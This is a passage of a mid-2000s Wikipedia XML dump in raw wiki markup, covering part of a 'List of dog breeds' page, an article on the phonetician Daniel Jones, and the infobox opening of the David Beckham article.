**[[Sled dog]]
*[[:Category:Bulldog breeds|Bulldogs]]
*[[:Category:Extinct dog breeds|Extinct dog breeds]]
*[[List of dog fighting breeds|Fighting dogs]]
*[[Toy dog|Toy]]
Dog breeds can also be grouped into similar [[:category:dog types|types]] such as [[mastiff]] types, [[spitz]] types, [[pit bull]]s, or [[Lurcher]]s.

==Dog breed list==
Dog breeds include:

{{compactTOC}}

==A==
===Af-Am===
*[[Affenpinscher]]
*[[Afghan Hound]]
*[[Africanis]]
*[[Aidi]]
*[[Airedale Terrier]]
*[[Akbash Dog]]
*[[Akita Inu|Akita]], see also [[Great Japanese Dog|American Akita]]
*[[Alangu Mastiff]] (Indian Mastiff)
*[[Alano Español]]   &lt;!-- can't find this one in any of my books. -elf --&gt;
*[[Alapaha Blue Blood Bulldog]]
*[[Alaskan Klee Kai]]
*[[Alaskan husky]]
*[[Alaskan Malamute]]
*[[Alopekis]]
*[[Alpine Dachsbracke]]
*[[Alp Mastiff]] (Cane Garouf)
*Alsatian - see [[German Shepherd Dog]]
*American Akita - see [[Great Japanese Dog]]
*[[American Bulldog]], including
**[[JDJ American Bulldog]]
**[[Scott's American Bulldog]]
**[[Southern White American Bulldog]]
*[[American Cocker Spaniel]]
*[[American English Coonhound]]
*[[American Eskimo Dog]]
*[[American Foxhound]]
*[[American Hairless Terrier]]
*American Husky - see [[Canadian Eskimo Dog]]
*[[American Mastiff]]
*[[American Pit Bull Terrier]]
*[[American Staghound]]
*[[American Staffordshire Terrier]]
*[[American Water Spaniel]]

===An-Az===
*[[Anatolian Shepherd Dog]]
*[[Anglo-Francais de Petite Venerie]]
*[[Appenzeller Sennenhund]]
*Arctic Husky - see [[Siberian Husky]]
*[[Argentine Dogo]]
*[[Ariege Pointer]]
*[[Ariegeois]]
*[[Artois Hound]]
*[[Australian Bulldog]]
*[[Australian Cattle Dog]]
*[[Australian Jack Russell Terrier]] - see also [[Jack Russell Terrier]], [[Parson Russell Terrier]] and [[Russell Terrier]]
*[[Australian Kelpie]]
*Australian Koolie - see [[Koolie]]
*[[Australian Shepherd]]
*[[Australian Silky Terrier]]
*[[Australian Stumpy Tail Cattle Dog]]
*[[Australian Terrier]]
*[[Austrian Brandlbracke]]
*[[Azawakh]]

==B==
===Ba-Be===

*Balkan Hound - see [[Serbian Hound]]
*[[Bakharwal Dog]]
*[[Bandog]]
*[[Barbet (dog)|Barbet]]
*[[Basenji]]
*[[Basset Artésien Normand]]
*[[Basset Bleu de Gascogne]]
*[[Basset Fauve de Bretagne]]
*[[Basset Hound]]
*[[Bavarian Mountain Hound]]
*[[Beagle]]
*[[Beagle-Harrier]]
*[[Bearded Collie]]
*Bearded Tibetan Mastiff - see[[Tibetan Kyi Apso]] 
*[[Beauceron]]
*[[Bedlington Terrier]]
*[[Belgian Griffon]]
*[[Belgian Shepherd Dog]], often divided into:
**[[Belgian Shepherd Dog (Groenendael)]]
**[[Belgian Shepherd Dog (Laekenois)]]
**[[Belgian Shepherd Dog (Malinois)]]
**[[Belgian Shepherd Dog (Tervueren)]]
*[[Bergamasco]]
*[[Berger Blanc Suisse]]
*[[Berger Picard]]
*[[Bernese Mountain Dog]] (Berner Sennenhund)
*Bhotia - see [[Himalayan Sheepdog]]

===Bi-Bo===
*[[Bichon Frisé]]
*[[Biewer]]
*[[Billy (dog)|Billy]]
*[[Bisben]]
*[[Black and Tan Coonhound]]
*[[Black Mouth Cur]]
*[[Black Russian Terrier]]
*[[Bloodhound]]
*Blue Heeler - see [[Australian Cattle Dog]]
*[[Blue Paul Terrier]]
*[[Blue Picardy Spaniel]]
*[[Bluetick Coonhound]]
*[[Boerboel]]
*[[Bolognese (dog)|Bolognese]]
*[[Bolonka]]
*[[Border Collie]]
*[[Border Terrier]]
*[[Borzoi]]
*[[Bosanski Ostrodlaki Gonic Barak]]
*[[Bosnian Tornjak]]
*[[Boston Terrier]]
*Bouvier Bernois - see [[Bernese Mountain Dog]]
*[[Bouvier des Ardennes]]
*[[Bouvier des Flandres]]
*[[Boxer (dog)|Boxer]]
*[[Boykin Spaniel]]

===Br-Bu===
*[[Bracco Italiano]]
*[[Braque d'Auvergne]]
*[[Braque du Bourbonnais]]
*[[Braque Francais (Gascogne type)]]
*[[Braque Francais (Pyrenean type)]]
*[[Braque Saint-Germain]]
*Brazilian Mastiff - see [[Fila Brasileiro]]
*[[Brazilian Terrier]]
*[[Briard]]
*[[Briquet Griffon Vendeen]]
*[[Brittany (dog)|Brittany]]
*[[Broholmer]]
*[[Griffon Bruxellois|Brussels Griffon]] - see [[Griffon Bruxellois]]
*[[Ciobãnesc de Bucovina|Bucovina]] - see [[Ciobãnesc de Bucovina]] &lt;!--  see talk page re Romanian Shepherd Dog --&gt;
*[[Bull Terrier]]
*[[Bull Terrier (Miniature)]]
*[[Bull and Terrier]]
*[[Bulldog]]
*[[Bullmastiff]]
*[[Bully Kutta]]

==C==
===Ca-Ci===
*Ca de Bou - see [[Perro de Presa Mallorquin]]
*[[Cairn Terrier]]
*[[Canaan Dog]]
*[[Canadian Eskimo Dog]] (Canadian Inuit Dog)
*[[Cane Corso]]
*Cão da Serra da Estrela - see [[Estrela Mountain Dog]]
*[[Cão da Serra de Aires]]
*Cão de Água Português - see [[Portuguese Water Dog]]
*[[Cão de Castro Laboreiro]]
*[[Cão de Fila de São Miguel]]
*[[Cão de Fila da Terceira]]
*[[Cão de Gado Transmontano]]
*Caravan Hound - see [[Mudhol Hound]]
*[[Cardigan Welsh Corgi]]
*[[Carlin Pinscher]]
*[[Carpatin]] &lt;!--  see talk page re Romanian Shepherd Dog --&gt;
*[[Catahoula Bulldog]]
*[[Catahoula Leopard Dog]] (Catahoula Cur or Catahoula Hog Dog)
*[[Catahoula Bulldog]]
*[[Catalan Sheepdog]]
*[[Caucasian Ovcharka]]
*[[Cavalier King Charles Spaniel]]
*[[Central Asia Shepherd Dog]]
*[[Cesky Fousek]]
*[[Cesky Terrier]]
*[[Chart Polski]]
*[[Chesapeake Bay Retriever]]
*[[Chihuahua (dog)|Chihuahua]]
*[[Chinese Crested Dog]]
*Chindo - see [[Korea Jindo Dog]]
*[[Chinook (dog)|Chinook]]
*[[Chippiparai]]
*[[Chow Chow]]
*[[Ciobanescu de Bucovina|Ciob&amp;#259;nesc de Bucovina]]
*[[Cirneco dell'Etna]]

===Cl-Cz===
*[[Clumber Spaniel]]
*[[Cockapoo]]
*[[Cocker Spaniel]] - see [[American Cocker Spaniel]] or [[English Cocker Spaniel]]
*[[Collie]] - see [[Rough Collie]], [[Smooth Collie]], [[Bearded Collie]] or [[Border Collie]]
*[[Combai]] (Indian Bear Hound)
*Coolie - see [[Koolie]]
*[[Cordoba Fighting Dog]]
*Corgi - see [[Welsh Corgi]], [[Cardigan Welsh Corgi]] and [[Pembroke Welsh Corgi]]
*[[Coton de Tulear]]
*Croatian Mountain Dog - see [[Bosnian Tornjak]]
*[[Croatian Sheepdog]]
*[[Cur]] - see also [[Black Mouth Cur]], [[Catahoula Leopard Dog]], [[Leopard Cur]], [[Mountain Cur]], [[Stephens Cur]], and [[Treeing Cur]]
*[[Curly Coated Retriever]]
*[[Czechoslovakian Wolfdog]]

==D==
*[[Dachshund]]
*[[Dalmatian (dog)|Dalmatian]]
*[[Dandie Dinmont Terrier]]
*[[Danish Broholmer ]]
*[[Danish/Swedish Farm Dog]]  &lt;!-- aka [[Danish Chicken Dog]] --&gt;
*[[Deerhound]]
*Deutsch Drahthaar - see [[German Wirehaired Pointer]]
*[[Deutsche Bracke]]
*[[Deutscher Wachtelhund]]
*Dhoki apso - see [[Tibetan Terrier]]
*Do-Khyi - see [[Tibetan Mastiff]]
*[[Dobermann]] (Doberman Pinscher)
*[[Dogo Cubano]]
*Dogo Guatemalteco - see [[Guatemalan Bull Terrier]] 
*[[Dogue de Bordeaux]]
*Dogue de Majorque - see [[Perro de Presa Mallorquin]]
*[[Drentse Patrijshond]] (Dutch Partridge Dog)
*[[Drever]]
*[[Dunker]]
*Dutch Shepherd Dog - See [[Hollandse Herder]]
*[[Dutch Smoushond]]

==E==
*[[East Siberian Laika]]
*[[English Cocker Spaniel]]
*[[English Coonhound]]
*[[English Foxhound]]
*[[English Mastiff]]
*[[English Pointer]]
*[[English Setter]]
*[[English Shepherd]]
*[[English Springer Spaniel]]
*English Toy Spaniel - see [[King Charles Spaniel]]
*[[English Toy Terrier (Black &amp; Tan)]]
*[[English White Terrier]]
*[[Entlebucher Mountain Dog]]/Sennenhund/Cattle Dog
*Epagneul Picard - see [[Picardy Spaniel]]
*Epagneul Pont-Audemer  - see [[Pont-Audemer Spaniel]]
*Eskimo Dog (Esquimaux) - see [[Canadian Eskimo Dog]]
*[[Estonian Hound]]
*[[Estrela Mountain Dog]]
*[[Eurasier]]
*[[Eurohound]]

==F==
*Feist - see [[Treeing Feist]]
*[[Field Spaniel]]
*[[Fila Brasileiro]]
*[[Finnish Hound]]
*[[Finnish Lapphund]]
*[[Finnish Spitz]]
*[[Flat-Coated Retriever]]
*[[Foxhound]] - divided into [[American Foxhound]], [[English Foxhound]]
*[[Fox Terrier]] - divided into [[Fox Terrier (Smooth)]], [[Fox Terrier (Wire)]], [[Miniature Fox Terrier]], [[Toy Fox Terrier]]
*[[Francais Blanc et Noir]]
*[[Francais Blanc et Orange]]
*[[Francais Tricolore]]
*[[Franzuskaya Bolonka]]
*[[French Bulldog]]
*[[French Spaniel]]
*[[French Wirehaired Pointing Griffon]]

==G==
===Ga-Go===
*[[Galgo Español]]
*[[Gawii]]
*[[German Longhaired Pointer]]
*[[German Pinscher]]
*[[German Rough-haired Pointer]]
*[[German Shepherd Dog]]
*[[German Shorthaired Pointer]]
*German Spaniel - see [[Deutscher Wachtelhund]]
*[[German Spitz]] - divided into:
**[[German Spitz (Gross)]]
**[[German Spitz (Klein)]]
**[[German Spitz (Mittel)]]
*[[German Wirehaired Pointer]]
*[[Giant Schnauzer]]
*[[Glen of Imaal Terrier]]
*[[Goldendoodle]]
*[[Golden Retriever]]
*Gonczy Polski - see [[Polish Scenthound]] 
*[[Gordon Setter]]
*Gos d'atura - see [[Catalan Sheepdog]]

===Gr===
*[[Grand Anglo-Francais Blanc et Noir]]
*[[Grand Anglo-Francais Blanc et Orange]]
*[[Grand Anglo-Francais Tricolore]]
*[[Grand Basset Griffon Vendeen]]
*[[Grand Bleu de Gascogne]]
*[[Grand Gascon Saintongeois]]
*[[Grand Griffon Vendeen]]
*[[Gran Mastin de Borínquen]]
*[[Great Dane]]
*[[Great Japanese Dog]] 
*Great Pyrenees - see [[Pyrenean Mountain Dog]]
*[[Greater Swiss Mountain Dog]] (Grosser Schweizer Sennenhund)
*[[Greek Harehound]]
*[[Greenland Dog]] (Greenland Husky)
*[[Greyhound]]
*[[Griffon Bleu de Gascogne]]
*[[Griffon Bruxellois]]
*[[Griffon Fauve de Bretagne]]
*[[Griffon Nivernais]]
*Groenendael - see [[Belgian Shepherd Dog (Groenendael)]]
*[[Guatemalan Bull Terrier]] (Dogo Guatemalteco)
*[[Gull Dong]]
*[[Gull Terr]]

==H==
*[[Hairless Khala]]
*[[Haldenstovare]]
*[[Hamiltonstövare]]
*[[Hanover Hound]]
*[[Harrier (dog)|Harrier]]
*[[Havanese]]
*[[Himalayan Sheepdog]] (Bhotia)
*[[Himalayan Mastiff]]  &lt;!-- is this not the same as Tibetan M.? --&gt;
*[[Hokkaido (dog)|Hokkaido]]
*[[Hollandse Herder]] (Dutch Shepherd dog)
*[[Hovawart]]
*Hungarian Greyhound - see [[Magyar Agar]] 
*[[Hungarian Vizsla]]
*Hungarian Wirehaired Vizsla - see [[Hungarian Vizsla]]
*[[Huntaway]]
*[[Hygenhund]]

==I==
*[[Ibizan Hound]]
*[[Icelandic Sheepdog]]
*[[Indian Bullterrier]]
*[[Irish Bull Terrier]]  &lt;!-- (haven't confirmed existence &amp; standard name anywhere, but was just added to terrier article -elf --&gt;
*[[Irish Red and White Setter]]
*[[Irish Setter]]
*[[Irish Staffordshire Terrier]]
*[[Irish Terrier]]
*[[Irish Water Spaniel]]
*[[Irish Wolfhound]]
*[[Istarski Kratkodlaki Gonic]]
*[[Istarski Ostrodlaki Gonic]] (Istrian Coarse-Haired Hound)
*[[Istrian Sheepdog]]
*[[Italian Greyhound]]
*Italian Spinone - see [[Spinone Italiano]]

==J==
*[[Jack Russell Terrier]] - see also [[Australian Jack Russell Terrier]], [[Parson Russell Terrier]] and [[Russell Terrier]]
*[[Jagdterrier]]
*[[Jämthund]]
*[[Japanese Chin]]
* Japanese Mastiff, see [[Tosa (dog)|Tosa]]
*[[Japanese Spitz]]
*[[Japanese Terrier]]
*Jindo - see [[Korea Jindo Dog]]
*[[Jonangi]]

==K==
*[[Kaikadi (dog)|Kaikadi]]
*[[Kai Ken]]
*[[Kangal Dog]]
*[[Kanni]]
*[[Karelian Bear Dog]]
*[[Kars Dog]]
*[[Keeshond]]
*Kelpie - see [[Australian Kelpie]]
*Kelb-tal Fenek - see [[Pharaoh Hound]]
*[[Kerry Blue Terrier]]
*[[King Charles Spaniel]]
*[[Kishu]]
*[[Kombai]]
*[[Komondor]]
*[[Kooikerhondje]]
*[[Koolie]]
*[[Korea Jindo Dog]]
*[[Korean Mastiff]]
*Korthals Griffon - see [[Wirehaired Pointing Griffon]]
*Krasky Ovcar - see [[Istrian Sheepdog]]
*[[Kromfohrlander]]
*[[Kuvasz]]
*[[Kyi Leo]]

==L==
*[[Labradoodle]]
*[[Labrador Retriever]]
*Laekenois - see [[Belgian Shepherd Dog (Laekenois)]]
*[[Lagotto Romagnolo]]
*[[Lakeland Terrier]]
*[[Lancashire Heeler]]
*[[Landseer (Continental-European type)]] - see also [[Newfoundland (dog)|Newfoundland]]
*[[Lapinporokoira]]
*[[Large Munsterlander]]
*[[Leonberger]]
*[[Leopard Cur]]
*[[Lhasa Apso]]
*Llewellyn Setter - see [[English Setter]]
*[[Longdog]]
*Louisiana Catahoula Leopard Dog - see [[Catahoula Leopard Dog]]
*[[Löwchen]]
*[[Lurcher]]

==M==
*[[Mackenzie River husky]]
*[[Magyar Agar]] 
*Malinois - see [[Belgian Shepherd Dog (Malinois)]]
*[[Maltese (dog)|Maltese]]
*[[Maltipoo]]
*[[Manchester Terrier]]
*[[Maremma Sheepdog]]
*[[Mastiff]] - see [[English Mastiff]]
*[[McNab (dog)|McNab]]
*[[Meliteo Kinidio]]
*[[Mexican Hairless Dog]]
*Middle Asian Owtcharka - see [[Central Asia Shepherd Dog]]
*[[Miniature Australian Shepherd]]
*Miniature Bull Terrier - see [[Bull Terrier (Miniature)]]
*[[Miniature Fox Terrier]]
*[[Miniature Pinscher]]
*[[Miniature Schnauzer]]
*[[Mioritic]] &lt;!--  see talk page re Romanian Shepherd Dog --&gt;
*[[Mixed-breed dog]]
*[[Moscovskaya Storozhevaya Sobaka]] (Moscow Watchdog)  &lt;!-- can't find this one in any of my books. -elf --&gt;
*[[Mountain Burmese]]
*[[Mountain Cur]]
*[[Mudi]]
*[[Mudhol Hound]] 
*[[Munsterlander]] - see [[Large Munsterlander]] or [[Small Munsterlander]]

==N==
*[[Neapolitan Mastiff]]
*[[Nebolish Mastiff]]
*[[Newfoundland (dog)|Newfoundland]]
*[[New Guinea Singing Dog]]
*[[Norfolk Terrier]]
*[[Norrbottenspets]]
*Northern Inuit -- see [[Utonagan]]
*[[Norwegian Buhund]]
*[[Norwegian Elkhound]]
*[[Norwegian Lundehund]]
*[[Norwich Terrier]]
*[[Nova Scotia Duck-Tolling Retriever]]

==O==
*[[Old Danish Pointer]]
*[[Old English Sheepdog]]
*[[Old English Bulldog]]
*[[Olde Englishe Bulldogge]]
*[[Osterreichischer Kurzhaariger Pinscher]]
*[[Otterhound]]
*Otto - see [[Alapaha Blue Blood Bulldog]]
*[[Owczarek Podhalanski]]

==P==
===Pa-Pl===
*Panja, see [[American Mastiff]]
*[[Papillon (dog)|Papillon]]
*[[Parson Russell Terrier]] - see also [[Australian Jack Russell Terrier]], [[Jack Russell Terrier]] and [[Russell Terrier]]
*[[Patterdale Terrier]]
*[[Pekeapoo]]
*[[Pekingese]]
*[[Pembroke Welsh Corgi]]
*[[Perdiguero de Burgos]]
*[[Perro Cimarron]] &lt;!-- can't find this one in any of my books. -elf --&gt;
*[[Perro de Pastor Mallorquin]]
*[[Perro de Presa Canario]]
*[[Perro de Presa Mallorquin]]
*[[Perro de Toro]] &lt;!-- can't find this one in any of my books. -elf --&gt;
*[[Peruvian Hairless Dog]] (Perro Peruano sin Pelo)
*[[Peruvian Inca Orchid]]
*[[Petit Basset Griffon Vendeen]]
*[[Petit Bleu de Gascogne]]
*[[Petit Brabancon]]
*[[Petit Gascon Saintongeois]]
*[[Phalène]]
*[[Pharaoh Hound]] 
*[[Phung San]] &lt;!-- from List of dog breeds by country --&gt;
*Picardy Shepherd - see [[Berger Picard]]
*[[Picardy Spaniel]]
*[[Pinscher]] - see [[Affenpinscher]], [[Austrian Short-Haired Pinscher]], [[Dobermann]], [[German Pinscher]], [[Miniature Pinscher]], [[Swiss Shorthaired Pinscher]]
*[[Pit Bull]] - see [[American Pit Bull Terrier]], [[American Staffordshire Terrier]],  [[American Bulldog]], [[Staffordshire Bull Terrier]]
*[[Plott Hound]]

===Po-Py===
*[[Podenco Canario]]
*Pointer - see [[English Pointer]]
*[[Poitevin (dog)|Poitevin]] 
*[[Polish Scenthound]] (Gonczy Polski)
*Polish Greyhound - see [[Chart Polski]]
*Polish Sighthound - see [[Chart Polski]]
*[[Polish Hound]] (Polish Ogar)
*[[Polish Lowland Sheepdog]] (Polski Owczarek Nizinny or PON)
*Polish Tatra Sheepdog - see [[Owczarek Podhalanski]]
*[[Pomeranian_(dog)|Pomeranian]]
*[[Pont-Audemer Spaniel]]
*[[Poodle]]
*[[Porcelaine]]
*[[Portuguese Podengo]]
*[[Portuguese Pointer]]
*Portuguese Shepherd Dog - see [[Cao da Serra de Aires]]
*[[Portuguese Water Dog]]
*[[Posavac Hound]]
*[[Prazsky Krysavik]]
*[[Pudelpointer]]
*[[Pug]]
*[[Puggle]]
*[[Puli]]
*[[Pumi (dog)|Pumi]]
*[[Pyrenean Mastiff]]
*[[Pyrenean Mountain Dog]]
*[[Pyrenean Shepherd]]

==Q==
*Queensland Heeler - see [[Australian Cattle Dog]]

==R==
*[[Rafeiro do Alentejo]]
*[[Rajapalayam (dog)|Rajapalayam]]
*[[Rampur Greyhound]]
*[[Ratonero Bodeguero Andaluz]]
*[[Rat Terrier]]
*[[Redbone Coonhound]]
*[[Red Setter]]
*[[Rhodesian Ridgeback]]
*[[Rottweiler]]
*[[Rough Collie]]
*Russian Black Terrier - see [[Black Russian Terrier]]
*[[Russian Hound]]
*[[Russian Spaniel]]
*[[Russian Toy Terrier]]
*Russian Tsvetnaya Bolonka - see [[Tsvetnaya Bolonka]]
*[[Russko-Evropeiskaia Laika]]
*[[Russell Terrier]] - see also [[Australian Jack Russell Terrier]], [[Jack Russell Terrier]] and [[Parson Russell Terrier]]

==S==
===Sa-Se===
*[[Saarlooswolfhond]]
*[[Sabueso Espanol]]
*[[Saluki]]
*[[Sakhalin Husky]]
*[[Samoyed (dog)|Samoyed]]
*[[Sapsali]]
*[[Šarplaninac]]
*[[Schapendoes]]
*[[Schillerstovare]]
*[[Schipperke]]
*[[Schnauzer]] - divided into [[Miniature Schnauzer]], [[Standard Schnauzer]], [[Giant Schnauzer]]
*[[Schnoodle]]
*[[Schweizer Laufhund]]
*[[Schweizer Niederlaufhund]]
*Scottish Deerhound - see [[Deerhound]]
*[[Scottish Terrier]]
*[[Sealyham Terrier]]
*[[Segugio Italiano]]
*[[Seppala Siberian Sleddog]]
*[[Serbian Hound]]
*[[Serbian Mountain Hound]]
*[[Serbian Tricolour Hound]]

===Sh-Sp===
*[[Shar Pei]]
*[[Shetland Sheepdog]]
*[[Shiba Inu]]
*[[Shih Tzu]]
*[[Shikoku (dog)|Shikoku]]
*[[Shiloh Shepherd Dog]]
*[[Siberian Husky]]
*[[Silken Windhound]]  &lt;!-- a rare developing breed; may be controversy between this, silken windsprite, and long-haired whippet  -elf 12/05  --&gt;
*Silky Terrier - see [[Australian Silky Terrier]]
*Sindh Mastiff - see [[Indian Mastiff]]  &lt;!-- can't find this one in any of my books. -elf --&gt;
*[[Skye Terrier]]
*[[Sloughi]]
*[[Slovak Cuvac]]
*[[Slovakian Hound]]
*[[Slovensky Hrubosrsty Stavac (Ohar)]]
*[[Smalandsstovare]]
*Small Greek Domestic Dog - see [[Meliteo Kinidio]]
*[[Small Munsterlander]]
*[[Smooth Collie]]
*Smooth Fox Terrier - see [[Fox Terrier (Smooth)]]
*[[Soft-Coated Wheaten Terrier]]
*[[South Russian Ovtcharka]]
*Spanish Alano - see [[Alano Español]]  &lt;!-- can't find this one in any of my books. -elf --&gt;
*Spanish Galgo - see [[Galgo Espanol]]
*[[Spanish Mastiff]]
*[[Spanish Water Dog]]
*[[Spinone Italiano]]
*Spitz -- see [[Spitz]] for a list of Spitz-type breeds
*Springer Spaniel - see [[English Springer Spaniel]] or [[Welsh Springer Spaniel]]

===St-Sw===
*[[St. Bernard (dog)|St. Bernard]]
*[[Stabyhoun]]
*[[Staffordshire Bull Terrier]]
*[[Standard Schnauzer]]
*[[Stephens Cur]]
*[[Styrian Coarse-haired Hound]]
*[[Sussex Spaniel]]
*Swedish Elkhound - see [[Jämthund]] 
*[[Swedish Lapphund]]
*[[Swedish Vallhund]]
*[[Swiss Shorthaired Pinscher]]

==T==
*Tatra Shepherd Dog - see [[Owczarek Podhalanski]] 
*[[Tenterfield Terrier]]
*Tervuren - See [[Belgian Shepherd Dog (Tervueren)]]
*[[Thai Bangkaew Dog]]
*[[Thai Ridgeback]]
*[[Teddy Roosevelt Terrier]]
*[[Tibetan Kyi Apso]] 
*Tibetan Lhasa Apso - see [[Lhasa Apso]]
*[[Tibetan Mastiff]]
*[[Tibetan Spaniel]]
*[[Tibetan Terrier]]
*Tornjak - see [[Bosnian Tornjak]]
*[[Tosa (dog)|Tosa]]
*[[Toy Bulldog]]
*[[Toy Fox Terrier]]
*[[Toy Manchester Terrier]]
*[[Toy Mi-Ki]]
*[[Transylvanian Hound]]
*[[Treeing Cur]]
*[[Treeing Feist]]
*[[Treeing Tennessee Brindle]]
*[[Treeing Walker Coonhound]]
*[[Tsvetnaya Bolonka]]
*[[Tyrolean Hound]]

==U==
*[[Utonagan]] 

==V==
*[[Valley Bulldog]]
*Vizsla - see [[Hungarian Vizsla]]
*[[Volpino Italiano]]

==W==
*[[Weimaraner]]
*[[Welsh Corgi]] 
**[[Cardigan Welsh Corgi]]
**[[Pembroke Welsh Corgi]]
*[[Welsh Springer Spaniel]]
*[[Welsh Terrier]]
*[[West Highland White Terrier]]
*[[West Siberian Laika]]
*[[Westphalian Dachsbracke]]
*[[Wetterhoun]]
*[[Whippet]]
*White Shepherd Dog - see [[Berger Blanc Suisse]]
*[[Wilkinson Bulldog]]
*Wire Fox Terrier - see [[Fox Terrier (Wire)]]
*[[Wirehaired Pointing Griffon]]

==X==
*Xoloitzcuintle - see [[Mexican Hairless]]

==Y==
*[[Yorkshire Terrier]]
*Yugoslavian Mountain Hound - see [[Serbian Mountain Hound]]
*Yugoslavian Tricolour Hound - see [[Serbian Tricolour Hound]]

==See also==
*[[List of dog breeds by country]]
*[[Wikipedia:List of images/Dogs|Album of dog photo thumbnails]]

==External links==
*Lists of recognized breeds for major kennel clubs as listed in breed boxes in all dog breed articles:
**[http://www.akc.org/breeds/complete_breed_list.cfm American Kennel Club]  (United States)
**[http://www.ankc.aust.com/breeds_by_group.html Australian National Kennel Council]
**[http://www.ckc.ca/Default.aspx?tabid=73 Canadian Kennel Club]
**[http://www.fci.be/nomenclatures.asp?lang=en&amp;sel=0 Fédération Cynologique Internationale] (most of Europe)
**[http://www.the-kennel-club.org.uk/discoverdogs/groupIndex.html The Kennel Club] (United Kingdom)
**[http://www.nzkc.org.nz/dogselect.html New Zealand Kennel Club]
**[http://www.ukcdogs.com/RegistrationBreeds.htm United Kennel Club] (United States)


[[Category:Dog breeds|* L]]
[[Category:Lists of animals|Dogs]]

[[cs:Plemeno psa]]
[[da:Hunderacer]]
[[de:Liste der Hunderassen]]
[[eo:Hundrasoj]]
[[es:Lista de razas de perros]]
[[fr:Liste des races de chiens]]
[[he:&amp;#1490;&amp;#1494;&amp;#1506;&amp;#1497; &amp;#1499;&amp;#1500;&amp;#1489;&amp;#1497;&amp;#1501;]]
[[ja:&amp;#29356;&amp;#12398;&amp;#21697;&amp;#31278;&amp;#19968;&amp;#35239;]]
[[nl:Lijst van hondenrassen]]
[[no:Liste over hunderaser]]
[[pl:Wykaz ras psów]]
[[pt:Lista de raças de cães]]
[[ru:&amp;#1055;&amp;#1086;&amp;#1088;&amp;#1086;&amp;#1076;&amp;#1099; &amp;#1089;&amp;#1086;&amp;#1073;&amp;#1072;&amp;#1082;]]
[[simple:List of dog breeds]]
[[sr:&amp;#1050;&amp;#1083;&amp;#1072;&amp;#1089;&amp;#1080;&amp;#1092;&amp;#1080;&amp;#1082;&amp;#1072;&amp;#1094;&amp;#1080;&amp;#1112;&amp;#1072; &amp;#1088;&amp;#1072;&amp;#1089;&amp;#1072; &amp;#1087;&amp;#1086; &amp;#1072;&amp;#1079;&amp;#1073;&amp;#1091;&amp;#1095;&amp;#1085;&amp;#1086;&amp;#1084; &amp;#1088;&amp;#1077;&amp;#1076;&amp;#1091;]]
[[fi:Luettelo koiraroduista]]
[[sv:Alfabetisk lista över hundraser]]</text>
    </revision>
  </page>
  <page>
    <title>Daniel Jones (phonetician)</title>
    <id>8617</id>
    <revision>
      <id>41602572</id>
      <timestamp>2006-02-28T12:45:44Z</timestamp>
      <contributor>
        <ip>64.168.129.182</ip>
      </contributor>
      <text xml:space="preserve">'''Daniel Jones''' ([[12th September]] [[1881]]&amp;ndash;[[1967]]) was a [[London]]-born [[United Kingdom|British]] [[phonetics|phonetician]] . He was a disciple of [[Paul Passy|Paul-Edouard Passy]].

In [[1900]], he studied at [[William Tilly]]'s [[Marburg Language Institute]] in [[Germany]].  In [[1903]] He received a degree in mathematics at [[Cambridge]]. From 1905 to 1906, He studied with [[Paul Passy]], founder of the [[International Phonetics Association]], in [[France]], married Passy's niece in [[1911]] and studied under [[Henry Sweet]].  In [[1907]] he became a phonetic lecturer in [[University College]], London, and in [[1912]] he became the head of department of phonetics. In [[1949]] he retired. From [[1950]] to [[1967]], he was the president of the International Phonetic Association.

He wrote ''The Pronunciation of English'' in [[1909]] and ''An outline of English Phonetics'' in [[1918]]. This is considered to be the first comprehensive description of [[Received Pronunciation]]. He uses the term [[phoneme]] in the current sense.

The problem of the phonetic description of vowels was a long-standing one. Earlier phoneticians such as Bell and Ellis had suggested a system of reference vowels; and Henry Sweet did much work on the systematic description of vowels. Jones however was the one who is credited with having solved the problem by introducing the concept of 'cardinal vowels', a system of reference vowels which are taught with much care in the British tradition. (Most British-trained phoneticians can trace their teachers through to Jones.) Jones uses in his theory a two-parameter diagram to visualize how [[vowel | vowels]] are produced. Jones also systematised the phonetic analysis of vowels&amp;mdash;still known as the [[cardinal vowels]]. Tongue height is represented on the vertical axis and frontness and backness on the horizontal axis. Lip-rounding is implicit in the system, so that front vowels (such as [i e] and  [a]) have spread or neutral lip postures, but the back vowels (such as [o] and [u]) have increased lip-rounding as vowel height increases. The International Phonetic Association still uses Jones's model.

Jones studied the phonetics of various languages. In particular, for example, he did an analysis of the tone in [[Tswana]]. He developed new [[alphabet | alphabets]] for African and Indian languages. He also researched [[Cantonese (linguistics)|Cantonese]], [[Sinhalese]], and other non-Indo-European languages.

==External links==
*[http://www.ttt.org/LingLinks/i_m.html Section on Daniel Jones]

==References==
*R. E. Asher, ''The encyclopedia of language and linguistics'', Pergamon Press, 1994


[[Category:1881 births|Jones, Daniel]]
[[Category:1967 deaths|Jones, Daniel]]
[[Category:British linguists|Jones, Daniel]]
[[Category:Phoneticians|Jones, Daniel]]
[[Category:Cantonese (linguistics)]]

[[de:Daniel Jones (Sprachwissenschaftler)]]
[[udm:Джоунз, Дэниэл]]</text>
    </revision>
  </page>
  <page>
    <title>David Beckham</title>
    <id>8618</id>
    <revision>
      <id>42154868</id>
      <timestamp>2006-03-04T04:31:43Z</timestamp>
      <contributor>
        <username>Sahafan</username>
        <id>452948</id>
      </contributor>
      <comment>/* World Cup 2002 and final season at United */</comment>
      <text xml:space="preserve">{{Football player infobox| playername= David Beckham
| image =[[Image:David Beckham.jpg|200px]]&lt;br/&gt;&lt;center&gt;&lt;small&gt;Image: soccer-europe.com&lt;/small&gt;&lt;/center&gt;
| fullname = David Robert Joseph Beckham
| nickname = Becks, Goldenballs , DB, 
| dateofbirth = [[May 2]], [[1975]] 
| cityofbirth = [[Leytonstone]] 
| countryofbirth = [[England]]
| height = 5'11.5'' (182cm)
| currentclub  = [[Real Madrid]]
| position = Right midfield, centre midfield
| youthyears = [[1991]]–[[1992|92]] 
| youthclubs = [[Manchester United F.C.|Manchester United]]
| years = [[1993]]–[[2003]]&lt;br/&gt;[[1995]]&lt;br/&gt;[[2003]]–
| clubs = [[Manchester United F.C.|Manchester United]]&lt;br/&gt;[[Preston North End F.C.|Preston NE]] (loan)&lt;br/&gt;[[Real Madrid]]
| caps(goals) = 266 (61)&lt;br/&gt;5 (2)&lt;br/&gt;81 (8)
| nationalyears = [[1996]]–
| nationalteam = [[England national football team|England]]
| nationalcaps(goals) = 86 (16)
}}

